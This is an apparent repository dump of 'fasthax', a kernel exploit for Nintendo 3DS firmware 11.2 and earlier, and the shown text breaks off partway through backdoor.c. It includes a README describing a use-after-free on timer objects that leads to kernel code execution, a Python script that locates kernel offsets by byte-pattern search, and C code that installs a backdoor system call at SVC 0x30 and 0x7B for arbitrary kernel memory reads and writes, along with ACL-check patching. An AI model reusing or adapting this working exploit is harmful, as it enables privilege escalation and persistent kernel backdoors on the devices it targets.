├── .gitignore ├── .travis.yml ├── Makefile ├── README.md ├── find_addr.py ├── include ├── backdoor.h ├── cleanup.h ├── common.h ├── exploit.h ├── heap.h ├── timer.h └── util.h └── source ├── backdoor.c ├── backdoor_asm.s ├── cleanup.c ├── exploit.c ├── heap.c ├── main.c ├── timer.c ├── util.c └── utils.s /.gitignore: -------------------------------------------------------------------------------- 1 | fasthax.3dsx 2 | fasthax.elf 3 | fasthax.smdh 4 | build/* 5 | 6 | -------------------------------------------------------------------------------- /.travis.yml: -------------------------------------------------------------------------------- 1 | language: c 2 | 3 | before_install: 4 | - wget https://sourceforge.net/projects/devkitpro/files/Automated%20Installer/devkitARMupdate.pl 5 | - export DEVKITPRO=/home/travis/devkitPro 6 | - export DEVKITARM=${DEVKITPRO}/devkitARM 7 | - export PATH=$PATH:$DEVKITARM/bin 8 | 9 | install: 10 | - sudo perl devkitARMupdate.pl 11 | 12 | script: 13 | - make -------------------------------------------------------------------------------- /Makefile: -------------------------------------------------------------------------------- 1 | #--------------------------------------------------------------------------------- 2 | .SUFFIXES: 3 | #--------------------------------------------------------------------------------- 4 | 5 | ifeq ($(strip $(DEVKITARM)),) 6 | $(error "Please set DEVKITARM in your environment. export DEVKITARM=devkitARM") 7 | endif 8 | 9 | TOPDIR ?= $(CURDIR) 10 | include $(DEVKITARM)/3ds_rules 11 | 12 | #--------------------------------------------------------------------------------- 13 | # TARGET is the name of the output 14 | # BUILD is the directory where object files & intermediate files will be placed 15 | # SOURCES is a list of directories containing source code 16 | # DATA is a list of directories containing data files 17 | # INCLUDES is a list of directories containing header files 18 | # 19 | # NO_SMDH: if set to anything, no SMDH file is generated. 20 | # ROMFS is the directory which contains the RomFS, relative to the Makefile (Optional) 21 | # APP_TITLE is the name of the app stored in the SMDH file (Optional) 22 | # APP_DESCRIPTION is the description of the app stored in the SMDH file (Optional) 23 | # APP_AUTHOR is the author of the app stored in the SMDH file (Optional) 24 | # ICON is the filename of the icon (.png), relative to the project folder. 25 | # If not set, it attempts to use one of the following (in this order): 26 | # - .png 27 | # - icon.png 28 | # - /default_icon.png 29 | #--------------------------------------------------------------------------------- 30 | TARGET := $(notdir $(CURDIR)) 31 | BUILD := build 32 | SOURCES := source 33 | DATA := data 34 | INCLUDES := include 35 | #ROMFS := romfs 36 | 37 | #--------------------------------------------------------------------------------- 38 | # options for code generation 39 | #--------------------------------------------------------------------------------- 40 | ARCH := -march=armv6k -mtune=mpcore -mfloat-abi=hard -mtp=soft 41 | 42 | CFLAGS := -g -Wall -Wextra -O0 -mword-relocations \ 43 | -fomit-frame-pointer -ffunction-sections \ 44 | $(ARCH) 45 | 46 | CFLAGS += $(INCLUDE) -DARM11 -D_3DS 47 | 48 | CXXFLAGS := $(CFLAGS) -fno-rtti -fno-exceptions -std=gnu++11 49 | 50 | ASFLAGS := -g $(ARCH) 51 | LDFLAGS = -specs=3dsx.specs -g $(ARCH) -Wl,-Map,$(notdir $*.map) 52 | 53 | LIBS := -lctru -lm 54 | 55 | #--------------------------------------------------------------------------------- 56 | # list of directories containing libraries, this must be the top level containing 57 | # include and lib 58 | #--------------------------------------------------------------------------------- 59 | LIBDIRS := $(CTRULIB) 60 | 61 | 62 | #--------------------------------------------------------------------------------- 63 | # no real need to edit anything past this point unless you need to add additional 64 | # rules for different file extensions 65 | #--------------------------------------------------------------------------------- 66 | ifneq ($(BUILD),$(notdir $(CURDIR))) 67 | #--------------------------------------------------------------------------------- 68 | 69 | export OUTPUT := $(CURDIR)/$(TARGET) 70 | export TOPDIR := $(CURDIR) 71 | 72 | export VPATH := $(foreach dir,$(SOURCES),$(CURDIR)/$(dir)) \ 73 | $(foreach dir,$(DATA),$(CURDIR)/$(dir)) 74 | 75 | export DEPSDIR := $(CURDIR)/$(BUILD) 76 | 77 | CFILES := $(foreach dir,$(SOURCES),$(notdir $(wildcard $(dir)/*.c))) 78 | CPPFILES := $(foreach dir,$(SOURCES),$(notdir $(wildcard $(dir)/*.cpp))) 79 | SFILES := $(foreach dir,$(SOURCES),$(notdir $(wildcard $(dir)/*.s))) 80 | PICAFILES := $(foreach dir,$(SOURCES),$(notdir $(wildcard $(dir)/*.v.pica))) 81 | SHLISTFILES := $(foreach dir,$(SOURCES),$(notdir $(wildcard $(dir)/*.shlist))) 82 | BINFILES := $(foreach dir,$(DATA),$(notdir $(wildcard $(dir)/*.*))) 83 | 84 | #--------------------------------------------------------------------------------- 85 | # use CXX for linking C++ projects, CC for standard C 86 | #--------------------------------------------------------------------------------- 87 | ifeq ($(strip $(CPPFILES)),) 88 | #--------------------------------------------------------------------------------- 89 | export LD := $(CC) 90 | #--------------------------------------------------------------------------------- 91 | else 92 | #--------------------------------------------------------------------------------- 93 | export LD := $(CXX) 94 | #--------------------------------------------------------------------------------- 95 | endif 96 | #--------------------------------------------------------------------------------- 97 | 98 | export OFILES := $(addsuffix .o,$(BINFILES)) \ 99 | $(PICAFILES:.v.pica=.shbin.o) $(SHLISTFILES:.shlist=.shbin.o) \ 100 | $(CPPFILES:.cpp=.o) $(CFILES:.c=.o) $(SFILES:.s=.o) 101 | 102 | export INCLUDE := $(foreach dir,$(INCLUDES),-I$(CURDIR)/$(dir)) \ 103 | $(foreach dir,$(LIBDIRS),-I$(dir)/include) \ 104 | -I$(CURDIR)/$(BUILD) 105 | 106 | export LIBPATHS := $(foreach dir,$(LIBDIRS),-L$(dir)/lib) 107 | 108 | ifeq ($(strip $(ICON)),) 109 | icons := $(wildcard *.png) 110 | ifneq (,$(findstring $(TARGET).png,$(icons))) 111 | export APP_ICON := $(TOPDIR)/$(TARGET).png 112 | else 113 | ifneq (,$(findstring icon.png,$(icons))) 114 | export APP_ICON := $(TOPDIR)/icon.png 115 | endif 116 | endif 117 | else 118 | export APP_ICON := $(TOPDIR)/$(ICON) 119 | endif 120 | 121 | ifeq ($(strip $(NO_SMDH)),) 122 | export _3DSXFLAGS += --smdh=$(CURDIR)/$(TARGET).smdh 123 | endif 124 | 125 | ifneq ($(ROMFS),) 126 | export _3DSXFLAGS += --romfs=$(CURDIR)/$(ROMFS) 127 | endif 128 | 129 | .PHONY: $(BUILD) clean all 130 | 131 | #--------------------------------------------------------------------------------- 132 | all: $(BUILD) 133 | 134 | $(BUILD): 135 | @[ -d $@ ] || mkdir -p $@ 136 | @$(MAKE) --no-print-directory -C $(BUILD) -f $(CURDIR)/Makefile 137 | 138 | #--------------------------------------------------------------------------------- 139 | clean: 140 | @echo clean ... 141 | @rm -fr $(BUILD) $(TARGET).3dsx $(OUTPUT).smdh $(TARGET).elf 142 | 143 | 144 | #--------------------------------------------------------------------------------- 145 | else 146 | 147 | DEPENDS := $(OFILES:.o=.d) 148 | 149 | #--------------------------------------------------------------------------------- 150 | # main targets 151 | #--------------------------------------------------------------------------------- 152 | ifeq ($(strip $(NO_SMDH)),) 153 | $(OUTPUT).3dsx : $(OUTPUT).elf $(OUTPUT).smdh 154 | else 155 | $(OUTPUT).3dsx : $(OUTPUT).elf 156 | endif 157 | 158 | $(OUTPUT).elf : $(OFILES) 159 | 160 | #--------------------------------------------------------------------------------- 161 | # you need a rule like this for each extension you use as binary data 162 | #--------------------------------------------------------------------------------- 163 | %.bin.o : %.bin 164 | #--------------------------------------------------------------------------------- 165 | @echo $(notdir $<) 166 | @$(bin2o) 167 | 168 | #--------------------------------------------------------------------------------- 169 | # rules for assembling GPU shaders 170 | #--------------------------------------------------------------------------------- 171 | define shader-as 172 | $(eval CURBIN := $(patsubst %.shbin.o,%.shbin,$(notdir $@))) 173 | picasso -o $(CURBIN) $1 174 | bin2s $(CURBIN) | $(AS) -o $@ 175 | echo "extern const u8" `(echo $(CURBIN) | sed -e 's/^\([0-9]\)/_\1/' | tr . _)`"_end[];" > `(echo $(CURBIN) | tr . _)`.h 176 | echo "extern const u8" `(echo $(CURBIN) | sed -e 's/^\([0-9]\)/_\1/' | tr . _)`"[];" >> `(echo $(CURBIN) | tr . _)`.h 177 | echo "extern const u32" `(echo $(CURBIN) | sed -e 's/^\([0-9]\)/_\1/' | tr . _)`_size";" >> `(echo $(CURBIN) | tr . _)`.h 178 | endef 179 | 180 | %.shbin.o : %.v.pica %.g.pica 181 | @echo $(notdir $^) 182 | @$(call shader-as,$^) 183 | 184 | %.shbin.o : %.v.pica 185 | @echo $(notdir $<) 186 | @$(call shader-as,$<) 187 | 188 | %.shbin.o : %.shlist 189 | @echo $(notdir $<) 190 | @$(call shader-as,$(foreach file,$(shell cat $<),$(dir $<)/$(file))) 191 | 192 | -include $(DEPENDS) 193 | 194 | #--------------------------------------------------------------------------------------- 195 | endif 196 | #--------------------------------------------------------------------------------------- 197 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 |
2 |
3 |

4 | 5 |

6 |
7 |
8 | 9 | # 10 | 11 | This is an exploit for an ARM11 kernel vulnerability in Nintendo 3DS versions 12 | <= 11.2. 13 | 14 | Core 1 (SYSCORE) runs a thread that handles a synchronization event 15 | queue. Objects added to the queue do not have their reference count incremented. 16 | When the thread goes to fetch an object, it locks the scheduler, but this 17 | doesn't prevent a user thread on core 0 from freeing the timer object, thus 18 | leading to a UAF. Because a vtable pointer is located at the free pointer 19 | location, this leads to kernel code execution. Many workarounds are needed for 20 | stability; those are documented as part of the codebase. 21 | 22 | This exploit installs `svcBackdoor` at SVC numbers 0x30 and 0x7b. 23 | 24 | # Credits 25 | @nedwill: Vulnerability discovery and exploit code for N3DS USA 11.2, fixes to get 100% stability 26 | 27 | @d3m3vilurr: Found offsets for all versions of O3DS/N3DS, many bugfixes, ACL patching 28 | 29 | @Steveice10: SVC ACL check patch 30 | 31 | @kim-yannick: O3DS 11.2 support, rounding error fix 32 | 33 | @kade-robertson: Travis support 34 | 35 | @de0u: Teaching me how to find this bug 36 | 37 | [Luma3DS][Luma3DS]: svcBackdoor implementation bytes 38 | 39 | [waithax][waithax]: some snippets related to finding svcBackdoor 40 | 41 | If I missed anyone/anything, feel free to ping me. 42 | 43 | # Building 44 | 45 | Binaries are available on the release page. Otherwise, just run `make` with 46 | devkitpro and ctrulib installed. This is a normal homebrew application that is 47 | meant to be launched as a `.3dsx`. 48 | 49 | # For homebrew application developers 50 | 51 | User applications should not embed kernel exploit code to ensure compatibility 52 | for future ARM11 kernel exploits, and to allow updates to existing exploits. 53 | 54 | All current ARM11 kernel exploit projects (currently, [waithax][waithax] 55 | and this project) install a backdoor to SVC 0x30, as this SVC is originally 56 | stubbed, and always permitted by ACL. This means any process can run code 57 | in the context of the kernel without invasive kernel modifications. 58 | 59 | SVC 0x7B is also available as a backdoor for compatibility purposes. 60 | 61 | For more detailed code examples, please check [Mrrraou][Mrrraou]'s [snippets][snippets]. 62 | 63 | [waithax]: https://github.com/Mrrraou/waithax 64 | [Mrrraou]: https://github.com/Mrrraou 65 | [snippets]: https://gist.github.com/Mrrraou/c74572c04d13c586d363bf64eba0d3a1 66 | [Luma3DS]: https://github.com/AuroraWright/Luma3DS 67 | -------------------------------------------------------------------------------- /find_addr.py: -------------------------------------------------------------------------------- 1 | import sys 2 | import struct 3 | 4 | PRINT_FORMAT = '{SYSTEM_VERSION(0, 00, 0}, 0x%08X, 0x%08X, 0x%08X, 0x%08X, 0x%08X, 0x%04X, 0x%04X}, // 00.0' 5 | 6 | def read_uint(binary, offset): 7 | return struct.unpack('I', (binary[offset:offset + 4]))[0] 8 | 9 | def search(binary, pattern, skip=0, masks=None, start_offset=0): 10 | pattern_len = len(pattern) 11 | for idx in xrange(start_offset, len(binary) - pattern_len): 12 | b = binary[idx : idx + pattern_len] 13 | if masks: 14 | for offset, maskbit in masks: 15 | target_uint = read_uint(b, offset) 16 | b = b[:offset] + struct.pack('I', target_uint & maskbit) + b[offset + 4:] 17 | if b != pattern: 18 | continue 19 | return idx + skip 20 | 21 | def find_handle_lookup(binary): 22 | # F0 41 2D E9 STMFD Sp!, {R4-R8,LR} 23 | # 01 50 A0 E1 MOV R5, R1 24 | # 00 60 A0 E1 MOV R6, R0 25 | # E8 10 9F E5 LDR R1, =0xFFFF9000 26 | # 10 00 80 E2 ADD R0, R0, #0x10 27 | # 00 40 A0 E1 MOV R4, R0 28 | # 00 10 91 E5 LDR R1, [R1] 29 | # 9F 2F 90 E1 LDREX R2, [R0] 30 | addr = search(binary, 31 | '\xf0\x41\x2d\xe9\x01\x50\xa0\xe1\x00\x60\xa0\xe1\xe8\x10\x9f\xe5' 32 | '\x10\x00\x80\xe2\x00\x40\xa0\xe1\x00\x10\x91\xe5\x9f\x2f\x90\xe1') 33 | return addr 34 | 35 | def find_random_stub(binary): 36 | # 0C 10 91 E5 LDR R1, [R1, #0xC] 37 | # 00 10 80 E5 STR R1, [R0] 38 | # 1E FF 2F E1 BX LR 39 | # 0C 10 81 E2 ADD R1, R1, #0xC 40 | # 00 10 80 E5 STR R1, [R0] 41 | # 1E FF 2F E1 BX LR 42 | addr = search(binary, 43 | '\x0c\x10\x91\xe5\x00\x10\x80\xe5\x1e\xff\x2f\xe1' 44 | '\x0c\x10\x81\xe2\x00\x10\x80\xe5\x1e\xff\x2f\xe1') 45 | return addr 46 | 47 | def find_svc_acl_check(binary): 48 | # 1B 0E 1A E1 TST R10, R11,LSL LR 49 | addr = search(binary, '\x1b\x0e\x1a\xe1') 50 | return addr 51 | 52 | def find_svc_handler_table(binary): 53 | # 0F 00 BD E8 LDMFD SP!, {R0-R3} 54 | # 24 80 9D E5 LDR R8, [SP, #0x24] 55 | # 00 00 58 E3 CMP R8, #0 56 | # 28 D0 8D 02 ADDEQ SP, SP, #0x28 57 | # FF 50 BD 18 LDMNEFD SP!, {R0-R7, R12, LR} 58 | # 30 E0 DD E5 LDRB LR, [SP, #x30] 59 | # EF FF FF EA B 0x1FF822CC 60 | # 00 00 00 00 ; svc table start 61 | # 4C 36 F0 FF 62 | addr = search(binary, 63 | '\x0f\x00\xbd\xe8\x24\x80\x9d\xe5\x00\x00\x58\xe3\x28\xd0\x8d\x02' 64 | '\xff\x50\xbd\x18\x30\xe0\xdd\xe5\xef\xff\xff\xea\x00\x00\x00\x00' 65 | '\x00\x00\xf0\xff\x00\x00\xf0\xff\x00\x00\xf0\xff\x00\x00\xf0\xff', 66 | skip=0x1C, 67 | masks=((0x20, 0xfff00000), (0x24, 0xfff00000), 68 | (0x28, 0xfff00000), (0x2c, 0xfff00000))) 69 | return addr 70 | 71 | def read_op2_value(op2): 72 | if op2 == 0x901: 73 | return 0x4000 74 | if op2 == 0xb12: 75 | return 0x4800 76 | if op2 == 0xf92: 77 | return 0x248 78 | if op2 == 0xf56: 79 | return 0x158 80 | print 'WARN: unknown op2', hex(op2) 81 | return 0 82 | 83 | def find_ktimer_pool_info(binary): 84 | # n3ds patterns 85 | # 01 29 84 E2 ADD R2, R4, KTIMER_BASE_OFFSET_1 86 | # E1 3E A0 E3 MOV R3, KTIMER_POOL_SIZE 87 | # E2 2E 82 E2 ADD R2, R2, KTIMER_BASE_OFFSET_2 88 | # B4 61 C0 E1 STRH R6, [R0, #20] 89 | # 50 03 9F E5 LDR R0, =KTIMER_POOL_HEAD 90 | # 3C 10 A0 E3 MOV R1, #60 91 | # 54 51 00 EB BL 0x1FF94738 92 | 93 | # maybe >= 11.0 94 | idx = search(binary, 95 | '\x00\x20\x84\xe2\x00\x3e\xa0\xe3\x00\x2e\x82\xe2\xb4\x61\xc0\xe1' 96 | '\x50\x03\x9f\xe5\x3c\x10\xa0\xe3\x00\x00\x00\xeb', 97 | masks=((0x0, ~0xfff), (0x4, ~0xff), (0x8, ~0xff), (0x18, ~0xffff))) 98 | if idx: 99 | size = (read_uint(binary, idx + 4) & 0xff) << 4 100 | offset1 = read_uint(binary, idx) & 0xfff 101 | offset2 = (read_uint(binary, idx + 8) & 0xff) << 4 102 | head = read_uint(binary, idx + 0x368) 103 | return head, size, read_op2_value(offset1) + offset2 104 | 105 | # maybe >= 9.0 106 | idx = search(binary, 107 | '\x00\x20\x84\xe2\x00\x3e\xa0\xe3\x00\x2e\x82\xe2\xb4\x61\xc0\xe1' 108 | '\x48\x03\x9f\xe5\x3c\x10\xa0\xe3\x00\x00\x00\xeb', 109 | masks=((0x0, ~0xfff), (0x4, ~0xff), (0x8, ~0xff), (0x18, ~0xffff))) 110 | if idx: 111 | size = (read_uint(binary, idx + 4) & 0xff) << 4 112 | offset1 = read_uint(binary, idx) & 0xfff 113 | offset2 = (read_uint(binary, idx + 8) & 0xff) << 4 114 | head = read_uint(binary, idx + 0x360) 115 | return head, size, read_op2_value(offset1) + offset2 116 | 117 | # o3ds patterns 118 | # 12 2B 84 E2 ADD R2, R4, KTIMER_BASE_OFFSET_1 119 | # 54 33 9F E5 LDR R3, =KTIMER_POOL_SIZE 120 | # 92 2F 82 E2 ADD R2, R2, KTIMER_BASE_OFFSET_2 121 | # B4 61 C0 E1 STRH R6, [R0, #20] 122 | # 4C 03 9F E5 LDR R0, =KTIMER_POOL_HEAD 123 | # 3C 10 A0 E3 MOV R1, #60 124 | # E3 4F 00 EB BL 0x1FF9416c 125 | 126 | # maybe >= 11.0 127 | idx = search(binary, 128 | '\x00\x20\x84\xe2\x00\x30\x9f\xe5\x00\x2f\x82\xe2\xb4\x61\xc0\xe1' 129 | '\x4c\x03\x9f\xe5\x3c\x10\xa0\xe3\x00\x00\x00\xeb', 130 | masks=((0x0, ~0xfff), (0x4, ~0xfff), (0x8, ~0xff), (0x18, ~0xffff))) 131 | if idx: 132 | size = read_uint(binary, idx + 0x360) 133 | offset1 = read_uint(binary, idx) & 0xfff 134 | offset2 = read_uint(binary, idx + 8) & 0xfff 135 | head = read_uint(binary, idx + 0x364) 136 | return head, size, read_op2_value(offset1) + read_op2_value(offset2) 137 | 138 | # maybe >= 9.0 139 | idx = search(binary, 140 | '\x00\x20\x84\xe2\x00\x00\x9f\xe5\x00\x2f\x82\xe2\xb4\x61\xc0\xe1' 141 | '\x58\x03\x9f\xe5\x3c\x10\xa0\xe3\x00\x00\x00\xeb', 142 | masks=((0x0, ~0xfff), (0x4, ~0xffff), (0x8, ~0xff), (0x18, ~0xffff))) 143 | if idx: 144 | size = read_uint(binary, idx + 0x36c) 145 | offset1 = read_uint(binary, idx) & 0xfff 146 | offset2 = read_uint(binary, idx + 8) & 0xfff 147 | head = read_uint(binary, idx + 0x370) 148 | return head, size, read_op2_value(offset1) + read_op2_value(offset2) 149 | 150 | # need to check 151 | return None, None, None 152 | 153 | def check_or_dead(addr): 154 | return addr or 0xdead 155 | 156 | def convert_addr(addr, offset=0, addend=(-0x1ff80000 + 0xfff00000)): 157 | if not addr: 158 | return 0xdead 159 | return (addr + offset + addend) & 0xFFFFFFFF 160 | 161 | def read_firm_section_info(native_firm, idx): 162 | offset = idx * 0x30 + 0x40 # 0x40 - section info start 163 | section_offset = read_uint(native_firm, offset) 164 | section_addr_offset = read_uint(native_firm, offset + 4) 165 | section_size = read_uint(native_firm, offset + 8) 166 | return section_offset, section_addr_offset, section_size 167 | 168 | def read_firm_section(firm, idx): 169 | offset, addr, size = read_firm_section_info(firm, idx) 170 | binary = firm[offset:offset + size] 171 | return addr, binary 172 | 173 | if len(sys.argv) < 2: 174 | print '%s ' % sys.argv[0] 175 | raise SystemExit(1) 176 | 177 | with open(sys.argv[1], 'rb') as r: 178 | native_firm = r.read() 179 | arm11_section_addr, arm11bin = read_firm_section(native_firm, 1) 180 | 181 | handle_lookup = find_handle_lookup(arm11bin) 182 | random_stub = find_random_stub(arm11bin) 183 | svc_handler_table = find_svc_handler_table(arm11bin) 184 | svc_acl_check = find_svc_acl_check(arm11bin) 185 | ktimer_pool_head, ktimer_pool_size, ktimer_base_offset = find_ktimer_pool_info(arm11bin) 186 | 187 | print PRINT_FORMAT % ( 188 | convert_addr(handle_lookup, offset=arm11_section_addr), 189 | convert_addr(random_stub, offset=arm11_section_addr), 190 | convert_addr(svc_handler_table, offset=arm11_section_addr), 191 | convert_addr(svc_acl_check, offset=arm11_section_addr), 192 | convert_addr(ktimer_pool_head, addend=0), 193 | convert_addr(ktimer_pool_size, addend=0), 194 | convert_addr(ktimer_base_offset, addend=0), 195 | ) 196 | -------------------------------------------------------------------------------- /include/backdoor.h: -------------------------------------------------------------------------------- 1 | #ifndef __BACKDOOR_H 2 | #define __BACKDOOR_H 3 | 4 | #include <3ds.h> 5 | 6 | bool backdoor_installed; 7 | 8 | /* ASM SVC stubs */ 9 | Result svcDebugBackdoor(s32 (*callback)(void)); 10 | Result svcGlobalBackdoor(s32 (*callback)(void)); 11 | 12 | /* Luma backdoor */ 13 | void kmemcpy_debug(void *dst, void *src, u32 len); 14 | void kwriteint_debug(u32 *addr, u32 value); 15 | u32 kreadint_debug(u32 *addr); 16 | bool debug_backdoor_installed(); 17 | void print_array_wait(char *name, u32 *addr, u32 size); 18 | void *get_object_addr(Handle handle); 19 | /* Used in testing exploit */ 20 | void kernel_randomstub(u32 *arg); 21 | bool get_timer_value(Handle timer, u64 *initial, u64 *interval); 22 | 23 | /* Real backdoor */ 24 | u32 kreadint(u32 *addr); 25 | void kwriteint(u32 *addr, u32 value); 26 | bool global_backdoor_installed(void); 27 | /* Used in real exploit, must be called from kernel mode. */ 28 | void install_global_backdoor(void); 29 | bool finalize_global_backdoor(void); 30 | void uninstall_global_backdoor(void); 31 | 32 | #endif /* __BACKDOOR_H */ 33 | -------------------------------------------------------------------------------- /include/cleanup.h: -------------------------------------------------------------------------------- 1 | #ifndef __CLEANUP_H 2 | #define __CLEANUP_H 3 | 4 | bool cleanup_uaf(void); 5 | 6 | #endif /* __CLEANUP_H */ 7 | -------------------------------------------------------------------------------- /include/common.h: -------------------------------------------------------------------------------- 1 | #ifndef __COMMON_H 2 | #define __COMMON_H 3 | 4 | #define CURRENT_KTHREAD 0xFFFF9000 5 | #define CURRENT_PROCESS 0xFFFF9004 6 | 7 | typedef struct version_table { 8 | u32 kver; 9 | u32 handle_lookup; 10 | u32 random_stub; 11 | u32 svc_handler_table; 12 | u32 svc_acl_check; 13 | u32 ktimer_pool_head; 14 | u32 ktimer_pool_size; 15 | u32 ktimer_base_offset; 16 | } version_table; 17 | 18 | extern version_table *table; 19 | 20 | #endif 21 | -------------------------------------------------------------------------------- /include/exploit.h: -------------------------------------------------------------------------------- 1 | #ifndef __EXPLOIT_H 2 | #define __EXPLOIT_H 3 | 4 | #define TIMER2_NEXT_KERNEL 0xE281100C 5 | 6 | bool k11_exploit(void); 7 | 8 | #endif /* __EXPLOIT_H */ 9 | -------------------------------------------------------------------------------- /include/heap.h: -------------------------------------------------------------------------------- 1 | #ifndef __HEAP_H 2 | #define __HEAP_H 3 | 4 | extern char *fake_heap_start; 5 | extern char *fake_heap_end; 6 | 7 | u32 __ctru_heap; 8 | u32 __ctru_heap_size; 9 | u32 __ctru_linear_heap; 10 | u32 __ctru_linear_heap_size; 11 | 12 | /* This is important. */ 13 | #define LINEAR_HEAP_SIZE 0x03000000 14 | 15 | /* Overwrite allocateHeaps in ctrulib so we get enough linear heap. */ 16 | void __system_allocateHeaps(void); 17 | 18 | #endif /* __HEAP_H */ 19 | -------------------------------------------------------------------------------- /include/timer.h: -------------------------------------------------------------------------------- 1 | #ifndef __TIMER_H 2 | #define __TIMER_H 3 | 4 | #include <3ds.h> 5 | 6 | /* sets upper 32 bits of timer to kernel_callback_int */ 7 | bool set_timer(Handle timer, u32 kernel_callback_int); 8 | 9 | bool initialize_timer_state(void); 10 | 11 | #endif /* __TIMER_H */ 12 | -------------------------------------------------------------------------------- /include/util.h: -------------------------------------------------------------------------------- 1 | #ifndef __UTIL_H 2 | #define __UTIL_H 3 | 4 | #define CONVERT_VA_L2_TO_PA(addr) ((addr) - 0xFFF00000 + 0x1FF80000) 5 | #define CONVERT_PA_TO_VA_L1(addr) ((addr) - 0x1FF00000 + 0xDFF00000) 6 | #define CONVERT_VA_L2_TO_L1(addr) ((addr) - 0xFFF00000 + 0xDFF80000) 7 | 8 | void wait_for_user(void); 9 | 10 | void *kernel_va_to_pa(const void *addr); 11 | void flush_caches(void); 12 | 13 | #endif /* __UTIL_H */ 14 | -------------------------------------------------------------------------------- /source/backdoor.c: -------------------------------------------------------------------------------- 1 | /* Backdoor helper functions. Ned Williamson 2016 */ 2 | 3 | #include <3ds.h> 4 | #include 5 | #include 6 | 7 | #include "common.h" 8 | #include "backdoor.h" 9 | #include "util.h" 10 | 11 | /* overwrite SendSyncRequest3 since it's stubbed but we always have permission */ 12 | #define SEND_SYNC_REQUEST3 0x30 13 | #define SVC_BACKDOOR_NUM 0x7B 14 | #define HANDLE_TABLE_OFFSET ((is_n3ds) ? 0xDC : 0xD4) 15 | /* MOVS R10, #1 */ 16 | #define MOVS_R10_1 0xE3B0A001 17 | #define EXC_VA_START 0xFFFF0000 18 | /* this can probably be made larger if we ever fail */ 19 | #define EXC_SIZE 0x1000 20 | #define EXC_PA_TO_RW(addr) ((addr) + 0xDFF00000 - 0x1FF00000) 21 | 22 | static u32 *writeint_arg_addr; 23 | static u32 writeint_arg_value; 24 | static u32 *readint_arg; 25 | static u32 readint_res; 26 | static void *memcpy_src; 27 | static void *memcpy_dst; 28 | static u64 memcpy_len; 29 | static Handle get_object_handle = 0; 30 | static void *get_object_ret = NULL; 31 | 32 | extern bool is_n3ds; 33 | 34 | static void writeint() { *writeint_arg_addr = writeint_arg_value; } 35 | 36 | static void memcpy_int() { 37 | memcpy(memcpy_dst, memcpy_src, memcpy_len); 38 | } 39 | 40 | void kmemcpy_debug(void *dst, void *src, u32 len) { 41 | memcpy_dst = dst; 42 | memcpy_src = src; 43 | memcpy_len = len; 44 | svcDebugBackdoor((s32(*)(void)) & memcpy_int); 45 | } 46 | 47 | void kwriteint_debug(u32 *addr, u32 value) { 48 | writeint_arg_addr = addr; 49 | writeint_arg_value = value; 50 | svcDebugBackdoor((s32(*)(void)) & writeint); 51 | } 52 | 53 | static void readint() { readint_res = *readint_arg; } 54 | 55 | u32 kreadint_debug(u32 *addr) { 56 | if (addr == 0) { 57 | printf("kreadint_debug(NULL) -> 0\n"); 58 | return 0; 59 | } 60 | readint_arg = addr; 61 | svcDebugBackdoor((s32(*)(void)) & readint); 62 | return readint_res; 63 | } 64 | 65 | u32 kreadint(u32 *addr) { 66 | if (addr == 0) { 67 | printf("kreadint(NULL) -> 0\n"); 68 | return 0; 69 | } 70 | readint_arg = addr; 71 | svcGlobalBackdoor((s32(*)(void)) & readint); 72 | return readint_res; 73 | } 74 | 75 | void kwriteint(u32 *addr, u32 value) { 76 | writeint_arg_addr = addr; 77 | writeint_arg_value = value; 78 | svcGlobalBackdoor((s32(*)(void)) & writeint); 79 | } 80 | 81 | bool debug_backdoor_installed() { 82 | /* kwriteint won't have a side effect if it's not installed. 83 | * that svc is normally callable by userspace but returns 84 | * an error. 85 | */ 86 | static u32 installed = 0; 87 | kwriteint_debug(&installed, 1); 88 | return installed; 89 | } 90 | 91 | void kwriteint_global_backdoor(u32 *addr, u32 value) { 92 | writeint_arg_addr = addr; 93 | writeint_arg_value = value; 94 | svcGlobalBackdoor((s32(*)(void)) & writeint); 95 | } 96 | 97 | bool global_backdoor_installed() { 98 | /* kwriteint won't have a side effect if it's not installed. 99 | * that svc is normally callable by userspace but returns 100 | * an error. 101 | */ 102 | static u32 installed = 0; 103 | kwriteint_global_backdoor(&installed, 1); 104 | return installed; 105 | } 106 | 107 | void print_array_wait(char *name, u32 *addr, u32 size) { 108 | if (!debug_backdoor_installed()) { 109 | printf("can't print array, no backdoor\n"); 110 | return; 111 | } 112 | if (!name || !addr || !size) { 113 | printf("print_array_wait: invalid arg provided.\n"); 114 | return; 115 | } 116 | for (u32 i = 0; i < size / 4; i++) { 117 | printf("%s[%ld]: 0x%lx\n", name, i, kreadint_debug(&addr[i])); 118 | if (i && (i % 16 == 0)) { 119 | printf("still going: waiting for \n"); 120 | wait_for_user(); 121 | } 122 | } 123 | printf("finished: waiting for \n"); 124 | wait_for_user(); 125 | svcSleepThread(100000000); 126 | } 127 | 128 | static void kdisable_interrupts() { 129 | asm volatile ("\tcpsid aif\n"); 130 | } 131 | 132 | static void kernel_get_object_addr() { 133 | kdisable_interrupts(); 134 | Handle handle = get_object_handle; 135 | u32 current_process = *(u32 *)CURRENT_PROCESS; 136 | u32 process_handle_table = current_process + HANDLE_TABLE_OFFSET; 137 | 138 | void *(*handle_lookup_kern)(void *, u32) = (void *)table->handle_lookup; 139 | get_object_ret = handle_lookup_kern((void *)process_handle_table, handle); 140 | } 141 | 142 | void *get_object_addr(Handle handle) { 143 | if (!debug_backdoor_installed()) { 144 | printf("get_object_addr: debug_backdoor not installed.\n"); 145 | return NULL; 146 | } 147 | get_object_handle = handle; 148 | svcDebugBackdoor((s32(*)(void)) & kernel_get_object_addr); 149 | if (get_object_ret) { 150 | u32 *obj = get_object_ret; 151 | u32 *refcount_addr = &obj[1]; 152 | u32 refcount = kreadint_debug(refcount_addr); 153 | if (refcount > 0) { 154 | kwriteint_debug(refcount_addr, refcount - 1); 155 | } else { 156 | printf("wtf? object is in table with 0 refcount?"); 157 | } 158 | } 159 | return get_object_ret; 160 | } 161 | 162 | static void *randomstub_arg = NULL; 163 | 164 | static void randomstub_wrapper() { 165 | if (!randomstub_arg) { 166 | return; 167 | } 168 | unsigned int (*RandomStub)(u32 *, u32 *) = (void*)table->random_stub; 169 | RandomStub(randomstub_arg, (void*)table->random_stub); 170 | } 171 | 172 | void kernel_randomstub(u32 *arg) { 173 | if (!arg) { 174 | printf("kernel_randomstub: invalid arg\n"); 175 | return; 176 | } 177 | randomstub_arg = arg; 178 | svcDebugBackdoor((s32(*)(void)) & randomstub_wrapper); 179 | } 180 | 181 | static Result kernel_backdoor(s32 (*callback)(void)) { return callback(); } 182 | 183 | /* currently unused. if people don't like the unprivileged 